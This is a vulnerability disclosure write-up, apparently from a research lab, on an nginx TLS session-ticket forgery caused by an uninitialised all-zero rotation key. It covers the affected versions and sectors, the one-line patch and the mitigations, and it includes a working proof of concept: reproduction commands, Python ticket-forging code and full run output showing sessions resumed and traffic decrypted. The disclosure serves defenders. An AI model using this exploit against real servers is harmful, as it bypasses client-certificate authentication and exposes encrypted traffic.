The findingA key that was never there.
To resume encrypted connections quickly, nginx hands returning clients a session ticket sealed with a rotating key. nginx keeps three of these keys in memory: current, previous, and next.
Here is the idea without the jargon. The first time your browser connects to a site over HTTPS, the server runs a full security check, which is slow. To skip that next time, the server gives you a ticket: a small sealed voucher that says “this one is fine, let them back in fast.” Only the server can open the seal, because only the server knows the secret key that locks it.
When nginx rotated the keys, it copied only two of the three slots into each worker process. The third slot was never written after startup. On a normal Linux server that memory comes back all zeros — the same predictable value on every worker, in every default deployment.
An all-zero key is a lock whose combination is 0-0-0-0. It is not a secret at all. Anyone can make their own voucher, seal it with that empty key, and nginx will open it as if it had issued the voucher itself.
The part of nginx that opens a ticket checks all three slots. So an attacker could send a ticket sealed with an all-zero key, match the empty third slot, and have nginx unseal it with key material anyone can guess. From there the attacker forges a valid session with keys they choose, and resumes an encrypted connection without ever completing a real handshake. Where a site relies on client certificates to decide who gets in, that check can be bypassed.
Why it mattersQuiet, old, and everywhere.
The bug was introduced in nginx 1.23.2 in October 2022, as a missed edit during a routine refactor. It sat in the shipping code for four years, from October 2022 to October 2026. The nginx.org advisory lists every release from 1.23.2 to 1.31.6 as vulnerable. F5 also lists NGINX Plus and the products built on it, including NGINX Ingress Controller, NGINX Gateway Fabric and F5 WAF for NGINX.
nginx serves about 30% of all websites whose web server is known (W3Techs, October 2026). A flaw in how it handles TLS is not an abstract finding; it is the layer that is supposed to prove a server is who it says it is, and to keep a client's traffic private. This is exactly the kind of defect that scanners and language models walk past: there is no injected string, no obvious bad function, no crash. It is a size that should have been three and was two — reachable only by reasoning about what the surrounding memory actually holds at runtime.
The worst caseWhen it reaches a 10.0.
F5's 6.5 / 8.3 describes the average server. The impact they credit — bypassing client-certificate verification — lands hardest on the systems built around exactly that check: mutual TLS, where the server trusts a client's certificate to decide who it is talking to.
On a mutual-TLS deployment, a forged resumed session can carry an authenticated identity the attacker never earned — a full client-authentication bypass. That is the maximum-severity reading, which our own advisory scored CVSS 10.0.
Mutual TLS is not a corner case. It is how regulated industries decide which machine is allowed to talk to which: banks and the third parties that connect to them, hospitals exchanging records, telecom network functions, and the zero-trust architectures that replace the VPN. For every one of those, this bug asks the question that matters most: can someone resume a session they were never authorised to hold?
Two conditions decide the real impact on any one server: whether it runs the configuration above, and what else stands behind the certificate. Where the certificate is the only check, the bypass is complete. Where a token or a signature is also required, the attacker gets past the first gate, not all of them.
Where it is criticalWherever a certificate decides who gets in.
The score is the average. The risk is specific. This bug matters most where mutual TLS is not an extra layer but the decision: the place where a server stops asking questions because the certificate already answered them.
Open banking & payments
Under PSD2, banks identify third-party providers with eIDAS qualified certificates, most often through mutual TLS. UK Open Banking and Brazil's Open Finance build on the same model; Brazil requires mTLS with ICP-Brasil certificates.
A forged session can present the identity of a licensed third party to the bank's API gateway. Where the certificate is also how the client authenticates to get tokens (RFC 8705), the bank's whole trust chain starts from that forged identity.
Basis: EPC eIDAS & TPP identification · Open Finance Brasil certificate standard · Australia CDR standards (RFC 8705)
Healthcare data exchange
National health networks authenticate systems, not people, at the transport layer. NHS England's Spine Directory Service requires TLS mutual authentication, and GP Connect providers must authenticate the Spine Security Proxy by its client certificate.
A forged session can make a server believe it is talking to an accredited clinical system, the exact check that sits in front of patient data.
Basis: NHS England Digital · GP Connect security guidance
Telecom & 5G core
3GPP TS 33.501 requires mutual authentication between 5G network functions and with the NRF that registers them, with TLS as the standard mechanism.
Where nginx terminates TLS for those service interfaces, a forged session can impersonate a network function to the core: the signalling that moves subscribers and their sessions.
Basis: ETSI TS 133 501
Cloud-native & Kubernetes
F5 lists NGINX Ingress Controller and NGINX Gateway Fabric among the affected products. Community Ingress NGINX, used in about half of cloud-native environments, was retired in March 2026: no more security patches.
Client certificates on an ingress guard internal APIs, admin consoles and partner endpoints. A forged session gets in as a trusted workload or partner. Community Ingress NGINX ships with tickets off, but a cluster that turned them on will not get a fix from that project.
Basis: F5 K000162606 · Kubernetes Steering & Security Response Committees, Jan 2026 · ingress-nginx defaults
Government & zero trust
Zero-trust designs replace the network perimeter with identity on every connection. Client certificates are how many of them prove a device or service is managed and allowed in.
A forged session turns a certificate-gated portal (staff systems, case management, inter-agency APIs) into one that trusts an identity nobody issued.
Basis: Supported inference from the mechanism; check each deployment
IoT, industry & vehicles
Device fleets authenticate to their backends with per-device certificates, often with nginx as the gateway that checks them and forwards the identity to the application.
A forged session can speak as a device: false telemetry into a dashboard, or commands accepted from a sensor, charger, meter or vehicle that never sent them.
Basis: Supported inference from common gateway designs
The sector descriptions say where client certificates carry the trust. They do not say any named organisation is vulnerable. Exposure depends on each server's version and configuration, which is why it has to be checked one server at a time.
Why so many serversThe recommended setting was the exposed one.
The bug needs one configuration: a shared session cache with session tickets on and no ticket-key file. That is not an exotic setup. It is the one the references tell people to copy.
Mozilla changed its template because nginx 1.23.2 had started rotating ticket keys on its own, which made tickets look safe to leave on. It was a reasonable call based on the release notes. The defect sat in that same rotation code, so the servers that followed the best advice are the ones most likely to be exposed.
How we found itWe read the code the way the machine runs it.
This is the work PhiNode does. We do not count scanner alerts. We build a semantic model of a program — its memory, its trust boundaries, the state it carries between requests — and reason over it. Here that meant following three facts the source code alone does not make obvious:
- The rotation routine synced two slots; the key array holds three. One array, two sizes, in the same function.
- That third slot is allocated once at startup from fresh kernel memory, which is zero, and nothing ever overwrites it — so its contents are not random, they are known.
- The decrypt path trusts whatever matches, so a ticket named with sixteen zero bytes reaches a key made entirely of zeros.
A claim like that is only worth something with a witness. So we built one.
The proofWe didn't argue it. We did it.
We stood up a clean, default nginx on an isolated local listener and forged a session ticket end to end: a sixteen-byte zero key name, an all-zero AES key, an all-zero HMAC key. nginx accepted it, returned an abbreviated handshake, and resumed the session on our terms. We read nginx's encrypted reply using keys we chose. nginx's own debug log recorded the moment:
nginx error.log — the forged key is acceptedssl ticket decrypt, key: "00000000000000000000000000000000"
SSL reused session
http request line: "GET / HTTP/1.1"
The fix is a single character — a two that should read three:
src/event/ngx_event_openssl.c — ngx_ssl_rotate_ticket_keys() ngx_memcpy(keys->elts, cache->ticket_keys, - 2 * sizeof(ngx_ssl_ticket_key_t)); + 3 * sizeof(ngx_ssl_ticket_key_t));
A note on reliability. F5's advisory describes the forgery as non-deterministic and beyond the attacker's control. We report that wording as theirs. What we can add is our runtime evidence: on a clean, default build on Linux, the unwritten slot held zeros and the forged ticket was accepted. What that slot holds depends on the platform and the allocator, so treat our result as one well-documented case, not a guarantee for every server, and patch either way.
When we reported it, we kept the working code private. The fix has now shipped and F5 coordinated publication, so the full reproduction follows: the lab we built, the exploit itself, and the evidence that nginx accepted the forgery. We publish it so defenders can run the same check against their own servers and see exactly what the patch closes.
The labA copy of the server, in a sealed room.
A claim about a security hole is only worth something if you can show it. So we built the vulnerable server ourselves and attacked our own copy, with nothing and no one else on the wire.
Everything ran on one machine, on a loopback address that never leaves it. We compiled nginx straight from its public source at the exact release we were studying, gave it a throwaway self-signed certificate, and turned on nothing exotic. The only settings that matter are the three that make the bug reachable, and each one is a default or a recommended value.
nginx.conf — the whole lab (loopback only, defaults plus a shared cache)worker_processes 1;
events { worker_connections 1024; }
http {
ssl_session_cache shared:SSL:1m; # a shared cache: one of the three conditions
server {
listen 127.0.0.1:18443 ssl; # loopback only - nothing leaves the machine
server_name localhost;
ssl_certificate certs/server.crt; # throwaway self-signed CN=localhost
ssl_certificate_key certs/server.key;
ssl_protocols TLSv1.2;
ssl_session_tickets on; # nginx default
# no ssl_session_ticket_key -> nginx auto-rotates the keys (the buggy path)
root html;
}
}
We checked the attack twice: during the original research, and again on a freshly built binary before handing the package to F5, so the result did not depend on one leftover process. The fresh run passed every check.
fresh verification reportFresh PoC verification (run again on a clean build before hand-off to F5)
Target : nginx 1.31.2, built from release-1.31.2, commit 2fd01ed47
Verdict: PASS
[x] all-zero ticket key observed in the server
[x] session resumed (nginx logged "SSL reused session")
[x] nginx's Finished message decrypted with attacker-derived keys
[x] that Finished matched our own computation (we hold the real keys)
[x] encrypted HTTP request sent over the forged session
[x] nginx's HTTP response decrypted back to clear text
The exploitHow to forge a ticket nginx will trust.
In plain terms the attack is three moves: look at what a real ticket looks like, make our own and seal it with the empty all-zero key, then hand it back and watch nginx wave us through. The one real subtlety is a stamp nginx expects on the ticket, and that stamp can be computed from information the server gives out in public.
The full proof of concept, the one-line patch and the raw evidence are packaged on GitHub: github.com/PhiNode-Labs/nginx-cve-2026-97629 ↗.
- Take one real ticket and the public certificate. A normal connection gives us a well-formed session to copy, and nginx serves its certificate to anyone who asks.
- Fix the one stamp nginx checks. nginx ties a session to a
session_id_contextit derives from its own certificate. We recompute that value —SHA-1("HTTP" || SHA-1(cert))— and write it into our session so it survives nginx's check on resume. This was the only non-obvious step. - Seal the forged ticket with zeros. Key name sixteen zero bytes, AES key thirty-two zero bytes, HMAC key thirty-two zero bytes: the exact contents of the slot nginx never initialised.
- Send it in a TLS 1.2 ClientHello. If nginx answers with a short handshake and no certificate of its own, it accepted the forgery and resumed the session on keys we chose.
reproduction# nginx running on :18443, default ssl_session_tickets on, no ssl_session_ticket_key directive
# 1. Capture a legit session from the target nginx
echo | openssl s_client -connect 127.0.0.1:18443 -servername localhost \
-sess_out legit_session.pem -no_ign_eof
# 2. Capture the nginx server cert (public, served in the handshake)
echo | openssl s_client -connect 127.0.0.1:18443 -showcerts 2>/dev/null \
| sed -n '/-----BEGIN CERTIFICATE-----/,/-----END CERTIFICATE-----/p' > server_cert.pem
# 3. Build the patched session DER (injects sid_ctx into cont[4])
python3 make_forged_session.py
# -> session_forged.der (1154 bytes)
# 4. Forge the ticket + send as TLS 1.2 ClientHello with session_ticket extension
python3 forge_ticket.py
The ticket follows nginx's own format exactly, and every key in it is a block of zeros:
the forged ticketticket = key_name(16) || iv(16) || ciphertext || hmac(32)
key_name = 0x00 * 16 # matches the name of the slot nginx forgot
iv = random(16)
aes_key = 0x00 * 32 # the slot's uninitialised AES key
hmac_key = 0x00 * 32 # the slot's uninitialised HMAC key
ciphertext = AES-256-CBC(aes_key, iv).encrypt( pkcs7_pad(session) )
hmac = HMAC-SHA256(hmac_key, key_name || iv || ciphertext)
The forge itself is a few lines of Python. It encrypts the patched session with the all-zero AES key, then signs the whole ticket with the all-zero HMAC key — the same empty key nginx re-checks with, which is why it accepts the signature:
forge_ticket.py — the heart of the exploitdef forge_ticket(session_blob: bytes) -> bytes:
key_name = b"\x00" * 16
iv = os.urandom(16)
aes_key = b"\x00" * 32
hmac_key = b"\x00" * 32
# PKCS7 pad to AES block size (16)
padder = padding.PKCS7(128).padder()
padded = padder.update(session_blob) + padder.finalize()
enc = Cipher(algorithms.AES(aes_key), modes.CBC(iv)).encryptor()
ciphertext = enc.update(padded) + enc.finalize()
# *** CORRECT HMAC scope (per OpenSSL 3.6.3 ssl/t1_lib.c:tls_decrypt_ticket): ***
# *** HMAC over (key_name || iv || ciphertext) -- the whole ticket minus the trailing HMAC ***
h = hmac.HMAC(hmac_key, hashes.SHA256())
h.update(key_name + iv + ciphertext)
tag = h.finalize()
ticket = key_name + iv + ciphertext + tag
print(f"[+] forged ticket: {len(ticket)} bytes")
print(f" key_name (16) = {ticket[:16].hex()}")
print(f" iv (16) = {ticket[16:32].hex()}")
print(f" ciphertext({len(ciphertext)}) = {ciphertext[:16].hex()}...{ciphertext[-16:].hex()}")
print(f" hmac (32) = {tag.hex()}")
return ticket
The evidencenginx opened the forgery.
nginx accepted the ticket, recorded that it had unsealed it with a key of all zeros, and resumed the session. Its own debug log is the plainest witness:
nginx error.log — the forged all-zero key is accepted (debug build)2026/06/25 12:16:47 [debug] 2105179#0: *7 ssl ticket encrypt, key: "3d44141ed61ea3497680191edf2d07fb" (new session)
2026/06/25 12:17:37 [debug] 2105179#0: *8 ssl ticket key: "eacb23c5c16326e9b0bf0c24277c5fd2"
2026/06/25 12:17:37 [debug] 2105179#0: *8 ssl ticket decrypt, key: "00000000000000000000000000000000"
2026/06/25 12:18:27 [debug] 2105179#0: *9 ssl ticket decrypt, key: "00000000000000000000000000000000"
From the attacker's side, the forged ClientHello came back as a short, abbreviated handshake with no certificate: the signature of a resumed session, not a fresh one.
forge_ticket.py — run output=== F-4 END-TO-END PoC — forge_ticket.py run Thu Jun 25 10:18:27 AM UTC 2026 ===
Target: nginx 1.31.2 (PID 2105179, :18443, TLSv1.2, default ssl_session_tickets on, no ssl_session_ticket_key)
[+] patched SSL_SESSION DER (with sid_ctx): 1154 bytes
[+] forged ticket: 1232 bytes
key_name (16) = 00000000000000000000000000000000
iv (16) = 862365e6038e03337d7c9c5d5309f887
ciphertext(1168) = 4ffd20b48ff2a6e8b92c1d717e13bd29...612aed79e7806f28090abd2952fba36b
hmac (32) = fb388bdca520944d472e86add4b2e4972bfe315e05b115969023f95709cfaf90
[+] ClientHello record: 1368 bytes (with forged session_ticket ext)
[+] sent ClientHello to 127.0.0.1:18443
[+] received 141 bytes from nginx
[+] records: [('0x16', 771, 85), ('0x14', 771, 1), ('0x16', 771, 40)]
[+] handshake message types: ['0x2', '0xfe']
[+] ServerHello session_id (len, hex): (32, 'd0de849fdf52405c70fc538db7032d35df09399e56828af17ac9b697aa81c3fc')
[+] has Certificate msg (type 11): False
[=== VERDICT: TICKET ACCEPTED — abbreviated handshake (session resumption) ===]
[=== F-4 end-to-end PoC SUCCESS: forged TLS 1.2 session ticket resumed on nginx 1.31.2 ===]
[+] first 64 bytes of response: 1603030055020000510303661a9df96c1bf5de47401545eb40fbc1511206af97b67188365efde5ef00990620d0de849fdf52405c70fc538db7032d35df09399e
We then took it the whole way. Using the master secret we had chosen, we derived the session keys, decrypted nginx's encrypted “Finished” message and confirmed it matched our own computation, sent an encrypted request, and read nginx's encrypted reply back in clear text — full read and write over a session we were never granted.
forge_ticket_full.py — full read/write over the forged session=== F-4 DEEPER PoC — full abbreviated TLS handshake + HTTP R/W over forged resumed session ===
Date: Thu Jun 25 10:39:00 AM UTC 2026
Target: nginx 1.31.2 (PID 2105179, :18443, TLSv1.2, default ssl_session_tickets on, no ssl_session_ticket_key)
[+] forged session: master_secret=a83d9d6e4580de3b... (48 bytes)
cipher_id=0xc030 (ECDHE-RSA-AES256-GCM-SHA384)
session_id=d0de849fdf52405c... (32 bytes)
sid_ctx=04147be28e6533a7e5a214980a4572598d9b3c0d1bc2
[+] forged ticket: 1232 bytes, key_name=zeros(16)
[+] client_random=e979b0eb7353080d...
[+] sent ClientHello (1368 bytes)
[+] received 141 bytes
[+] parsed 3 records:
[0] type=0x16 ver=0x0303 len=85
[1] type=0x14 ver=0x0303 len=1
[2] type=0x16 ver=0x0303 len=40
[+] ServerHello: server_random=50b1e363e43d3afb... cipher=0xc030 (ECDHE-RSA-AES256-GCM-SHA384)
resumed session_id=d0de849fdf52405c... (matches forged: True)
[+] derived key_block: client_write_key=55608ea020da7152... server_write_key=e37aee476014f3a5...
client_write_IV=4b2f477a server_write_IV=f9934510
[+] received ChangeCipherSpec from server
[+] *** DECRYPTED server's Finished record (16 bytes) with our derived server_write_key ***
server Finished verify_data = 03deb544266b9dd30bf7724b (12 bytes)
[+] expected server Finished verify_data = 03deb544266b9dd30bf7724b (computed from OUR master_secret + handshake hash)
[+] nginx's server Finished verify_data = 03deb544266b9dd30bf7724b
[+] *** VERIFIED: nginx's Finished matches our computation — we hold the correct session keys ***
[+] our client Finished verify_data = 80b4bbc01f6a7f4aab83a9b5
[+] sent ChangeCipherSpec
[+] sent our encrypted Finished (client seq 0, 45 bytes)
[+] sent encrypted HTTP request: GET / HTTP/1.1
Host: localhost
Connection: close... (client seq 1)
[+] received 363 bytes of encrypted response
[+] response decryption starts at server seq 1
[+] decrypted Alert (server seq 2): 0100 (level=1 desc=0)
[+] *** DECRYPTED HTTP RESPONSE from nginx (303 bytes) ***
HTTP/1.1 404 Not Found
Server: nginx/1.31.2
Date: Thu, 25 Jun 2026 10:39:05 GMT
Content-Type: text/html
Content-Length: 153
Connection: close
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.31.2</center>
</body>
</html>
[=== F-4 DEEPER PoC COMPLETE: attacker derived session keys, verified nginx's Finished, ===]
[=== sent an encrypted HTTP request, and decrypted nginx's HTTP response over the FORGED resumed session. ===]
[=== The attacker has full read/write access to the resumed TLS session with attacker-chosen key material. ===]
=== nginx error.log evidence (via /proc/2105179/fd/2) ===
2026/06/25 12:38:16 [debug] 2105179#0: *11 http finalize request: 0, "/?" a:1, c:1
2026/06/25 12:38:16 [debug] 2105179#0: *11 http request count:1 blk:0
2026/06/25 12:39:00 [debug] 2105179#0: *12 ssl ticket decrypt, key: "00000000000000000000000000000000"
2026/06/25 12:39:05 [debug] 2105179#0: *12 SSL reused session
2026/06/25 12:39:05 [debug] 2105179#0: *12 http request line: "GET / HTTP/1.1"
2026/06/25 12:39:05 [debug] 2105179#0: *12 http finalize request: 404, "/?" a:1, c:1
2026/06/25 12:39:05 [debug] 2105179#0: *12 http finalize request: 0, "/?" a:1, c:1
2026/06/25 12:39:05 [debug] 2105179#0: *12 http request count:1 blk:0
Everything here ran against our own nginx on a loopback address; no third party was ever involved. We publish it now because the fix has shipped and F5 coordinated the release. The point is to let defenders reproduce the check on their own servers and confirm the patch closes it.
The disclosureDone the right way.
F5 published this as CVSS 6.5 (3.1) / 8.3 (4.0), scoping the realistic impact to servers that authenticate their clients with certificates. We report the vendor's numbers. The lesson is in the finding, not the score: a one-line defect in software almost everyone runs stayed invisible for years, and was findable by reading carefully.
Are you exposed?Four questions per server.
A server is in scope only if all four are true. If one is false, this bug does not apply to it.
ssl_session_cache shared:… is set.ssl_session_tickets is not off, and no ssl_session_ticket_key file is configured.ssl_verify_client is on or optional, or the application trusts $ssl_client_* values passed on by nginx.The fix, in order of preference1. Upgrade: nginx 1.30.6 / 1.31.7, NGINX Plus 37.0.5.1 / 37.1.0.1,
or your vendor's patched package.
2. Until you can: ssl_session_tickets off;
3. Or: explicit ssl_session_ticket_key files, rotated by you.
After upgrading, confirm that the running workers and every container image actually use the patched binary. A fixed package on disk does not fix a process that started before it.
Common questionsShort answers, plain language.
What is CVE-2026-97629?
A TLS session-ticket forgery in nginx, found and disclosed by PhiNode Labs. An uninitialised ticket-rotation key let a remote attacker forge a session ticket that nginx would accept, resuming an encrypted session without a real handshake and, where client certificates decide access, bypassing that check. F5 published it on 14 October 2026 as advisory K000162606.
Which nginx versions are affected?
Every release from nginx 1.23.2 (October 2022) through 1.31.6, plus NGINX Plus and the F5 products built on nginx. It is fixed in nginx 1.31.7 and 1.30.6, and in NGINX Plus 37.0.5.1 and 37.1.0.1; NGINX Plus R37 builds up to 37.0.5 are affected.
How serious is it?
F5 scored it CVSS 6.5 (3.1) and 8.3 (4.0). On mutual-TLS deployments, where a client certificate is what decides access, the impact reaches a full client-authentication bypass, the maximum-severity reading, which our own advisory scored CVSS 10.0.
Is my server exposed?
Only if all four are true: the version is in range; a shared session cache is configured; session tickets are on with no ticket-key file; and certificates decide access. If any one of those is false, the bug does not apply to that server.
How do I fix or mitigate it?
Upgrade to nginx 1.30.6 or 1.31.7, or your vendor's patched build. Until you can, set ssl_session_tickets off; or configure explicit ssl_session_ticket_key files that you rotate yourself. Both avoid the vulnerable auto-rotated path.
Who found it?
PhiNode Labs, an applied program-analysis research lab, credited by F5 in advisory K000162606.
“No claim without a witness.” A CVE in nginx, credited by F5, is one more witness on the record.
PhiNode Labs — an applied program-analysis research labSourcesCheck every line.
- F5 Security Advisory K000162606 — my.f5.com ↗
- nginx security advisories (vulnerable 1.23.2–1.31.6) — nginx.org ↗
- CVE record — cve.org ↗
- Proof of concept, patch & evidence — github.com/PhiNode-Labs/nginx-cve-2026-97629 ↗
- nginx 1.23.2 change: automatic ticket-key rotation with a shared cache — nginx.org ↗
- Mozilla SSL Configuration Generator, tickets left on for nginx ≥ 1.23.2 — github.com ↗
- Web server usage, nginx 30.3% — W3Techs ↗
- Ingress NGINX retirement — kubernetes.io ↗
- PSD2 TPP identification with eIDAS certificates — European Payments Council ↗
- Open Finance Brasil certificate standard (mTLS) — openfinancebrasil ↗
- NHS Spine Directory Service, TLS mutual authentication — NHS England Digital ↗
- 5G security architecture, mutual authentication between network functions — ETSI TS 133 501 ↗